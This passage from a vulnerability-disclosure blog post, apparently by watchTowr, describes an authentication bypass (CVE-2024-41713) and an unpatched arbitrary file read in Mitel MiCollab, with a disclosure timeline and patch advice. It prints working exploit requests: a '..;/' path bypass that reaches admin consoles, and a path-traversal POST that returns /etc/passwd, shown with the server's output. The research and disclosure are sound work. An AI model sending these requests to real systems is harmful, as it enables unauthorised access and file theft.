However, to our surprise, our approach of using ..;/ was considered unique by Mitel, presenting an entirely different vulnerability altogether. At the time of discovery, no patch was available… a new Authentication Bypass vulnerability had been discovered!

Mitel termed our new prize CVE-2024-41713, and promptly released an advisory to update to the fixed version 9.8.2.12 (or follow specific instructions to mitigate; see the advisory for details).

This is quite a find - we've found that no weird configuration is actually required to exploit the original CVE-2024-35286 vulnerability, and have used our trusty ..;/ bypass to spawn a totally new vulnerability, CVE-2024-41713 (see below for remediation advice).

With this new knowledge in hand, we wanted to discover how much further we could go on an unpatched device!

Hardware Accelerant Arrives

Fortunately for us, at this point in our research, the "appliance" itself arrived on our doorstep, ready to be torn apart. Extracting the source code and the software had some hurdles to overcome but we’ll save those for another day.

For those playing along at home, or just trying to outdo us (be our guest, the more vulnerabilities the merrier!), we did our testing on version "9.8 SP1 FP2 (9.8.1.201)".

With a quick find command for war files, we were quick to ascertain that the context being traversed into via ..;/ landed us into a Tomcat server running from the path /var/lib/tomcat7/webapps/**.

Interestingly enough, there’s a plethora of war files that can be reached from this perspective, including:

WAR File
awcPortlet
awv
axis2-AWC
Bulkuserprovisioning
ChangePasscodePortlet
ChangePasswordPortlet
ChangeSettingsPortlet
LoginPortlet
massat
MiCollabMetting
npm-admin
npm-pwg
portal
ReconcileWizard
SdsccDistributionErrors
UCAProvisioningWizard
usp

Just by making a request to the war file axis2-AWC we can access, from a pre-authenticated perspective, the Axis console and its related services:

Request:

GET /npm-pwg/..;/axis2-AWC/services/listServices HTTP/1.1
Host: {{Hostname}}

Oof! Each war file comes with access to various administration consoles, allowing all sorts of nasty techniques to be executed by malicious users - ranging from extracting sensitive information, through creation or modification of users, to a simple denial of service.

FIRE FIRE FIRE - 0day Time!

Whilst poking through the ashes of fresh (and at the time, 0day and unpatched) Authentication Bypass vulnerability, we stumbled across a shiny war file that looked interesting - ReconcileWizard .

Upon first glance it appears to hold functionality for viewing and saving system reports from the underlying software - nothing particularly interesting.

Just naturally going through the process of clicking buttons and proxying requests we can see references to hardcoded file names embedded in URL-encoded XML data.

We tried our luck with injecting path traversals within the reportName tag - and what do you know, we’re able to navigate to that sweet, sweet /etc/passwd file:

POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 716

_transaction=<@urlencode_all><transaction xmlns:xsi="<http://www.w3.org/2000/10/XMLSchema-instance>" xsi:type="xsd:Object"><transactionNum xsi:type="xsd:long">2</transactionNum><operations xsi:type="xsd:List"><elem xsi:type="xsd:Object"><criteria xsi:type="xsd:Object"><reportName>../../../etc/passwd</reportName></criteria><operationConfig xsi:type="xsd:Object"><dataSource>summary_reports</dataSource><operationType>fetch</operationType></operationConfig><appID>builtinApplication</appID><operation>downloadReport</operation><oldValues xsi:type="xsd:Object"><reportName>x.txt</reportName></oldValues></elem></operations><jscallback>x</jscallback></transaction><@/urlencode_all>&protocolVersion=1.0&__iframeTarget__=x

HTTP/1.1 200 OK
Date: Tue, 09 Jul 2024 16:10:03 GMT
Server: Apache-Coyote/1.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains
content-disposition: attachment; filename=../../../etc/passwd
Content-Type: application/javascript;charset=UTF-8
Set-Cookie: JSESSIONID=093D9A50B17E6E3743DC8F075FD58B89; Path=/; Secure; HttpOnly
Vary: Accept-Encoding,User-Agent
Content-Length: 3239

root:x:0:0:root:/root://bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
alias:x:400:400::/var/qmail/alias:/bin/false
qmaild:x:401:400::/var/qmail:/bin/false
qmaill:x:402:400::/var/qmail:/bin/false
qmailp:x:403:400::/var/qmail:/bin/false
qmailq:x:404:401::/var/qmail:/bin/false
qmailr:x:405:401::/var/qmail:/bin/false
qmails:x:406:401::/var/qmail:/bin/false
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
[TRUNCATED]

Arbitrary File Read ahoy! - clearly, there’s a lot of fire here in these newly-exposed servlets.

Without diving through the other war files just yet, we can safely celebrate that Arbitrary File Read is ours! We've only been inside the first war file for 10 minutes, and we're already stumbling into new vulnerabilities; if only bug hunting could always be this easy.

In an effort to dampen the flames, we contacted Mitel again on August 26th to disclose this Arbitrary File Read vulnerability. They informed us on October 12th of their plans to patch, which they scheduled for the first week of December 2024. Unfortunately, we're past this period and have not seen any updates on Mitel's Security Advisory page.

Since our disclosure email was sent over 100 days ago, we've decided to proceed and include this vulnerability within our blog post—but as of writing, it remains unpatched (albeit post-auth).

Proof-of-Concept exploit

Of course, a watchTowr blog post wouldn't be complete without an Interactive Artifact Generator—check out our shiny PoC exploit!

This PoC combines two vulnerabilities - firstly, the as-yet-unnamed Arbitrary File Read, which would normally require authentication, and secondly, the original Authentication Bypass vulnerability tracked as CVE-2024-41713.

Below demonstrates the exploit dumping the /etc/passwd file - take a look at it in action:

Extinguishing The Flames

With regards to the Authentication Bypass vulnerability, Mitel was quick to issue us with a draft security advisory, indicating that our new CVE-2024-41713 has a critical impact on MiCollab versions 9.8 SP1 (9.8.1.5) and earlier (see the advisory and patches). Users are urged to update to 9.8 SP2 (9.8.2.12) as soon as possible.

As demonstrated - it was fairly trivial to gain access to all sorts of administrative war files. Honestly, our attention spans are brief, and we just haven’t managed to dive too deep into these war files - the reality of discovering the Arbitrary File Read vulnerability while preparing this blogpost tells us that this is not the end of the road for this Mitel solution.

While Mitel's PSIRT team was quick to remediate the Authentication Bypass vulnerability, as of the time of writing and publishing this blog post, Mitel has exceeded our 90-day vulnerability disclosure window regarding the Arbitrary File Read issue. Given that it requires authentication to exploit, and that it isn't really worthy of a blog post on it's own, we're disclosing it here.

Mitel informed us on October 12th 2024 that a patch would be due the 'first week of December', but as mentioned and keenly reiterated - we’re yet to see any movement on their security advisory page.

It may go without saying that it shouldn't be easy to compromise a communications system. Gone are the days of 'plain old' telephone lines, running ATM or some other guaranteed-bandwidth TDM protocol to achieve high-availability - everything nowadays goes over IP. While this obviously brings great convenience in administration, it also risks exposing all those soft squishy protocols that were formerly only accessible from privileged network positions right to the doorstep of sophisticated attackers. Some might opine that vendors need to be more mindful of the real value of the data their servers are carrying and secure it appropriately.

On a more technical level, this investigation has demonstrated some valuable lessons. Firstly, it has acted as a real-world example that full access to the source code is not always needed —even when diving into vulnerability research to reproduce a known weakness in a COTS solution. Depending on the depth of the CVE description, some good Internet search skills can be the basis for a successful hunt for vulnerabilities.

For those concerned in the audience, we are sorry in advance for disclosing this Google search technique to the ransomware gangs and APT groups that may read blogposts that sit on the Internet. We know that sharing this Google search technique meets your bar of enabling criminals, and we are sorry.

Much like our previous dive into the Ivanti Connect Secure SSLVPN, where we discovered an XXE in their SSLVPN, we’re reminded that ‘where there’s smoke, there’s fire’ and more vulnerabilities to be found. Even a slight whiff of wood burning in the ether can be enough to attract our attention and warrant further investigation.

Here at watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

Timeline

• Date: 29th May 2024
• Detail: Authentication Bypass and SQL Injection vulnerabilities discovered
• Date: 29th May 2024
• Detail: Vulnerabilities disclosed to Mitel PSIRT
• Date: 30th May 2024
• Detail: watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected
• Date: 14th June 2024
• Detail: Mitel acknowledges our replication of CVE-2024-35286 (SQL Injection) and begins investigating the Authentication Bypass vulnerability
• Date: 30th July 2024
• Detail: Mitel provides a draft Security Advisory 24-000D-001 and assigns CVE-2024-41713 to the Authentication Bypass vulnerability
• Date: 26th August 2024
• Detail: Arbitrary File Read vulnerability disclosed to Mitel PSIRT
• Date: 9th October 2024
• Detail: Mitel publish security advisory and patches for the Authentication Bypass vulnerability CVE-2024-41713
• Date: 12th October 2024
• Detail: Mitel informs watchTowr that a patch will be released for the Arbitrary File Read vulnerability in the first week of December 2024
• Date: 4th December 2024
• Detail: A hundred days have passed since watchTowr informed Mitel of the Arbitrary File Read without a patch, advisory, or CVE issued
• Date: 5th December 2024
• Detail: watchTowr publish blog and PoCs

---

Related vulnerabilities: CVE-2024-41713CVE-2024-35286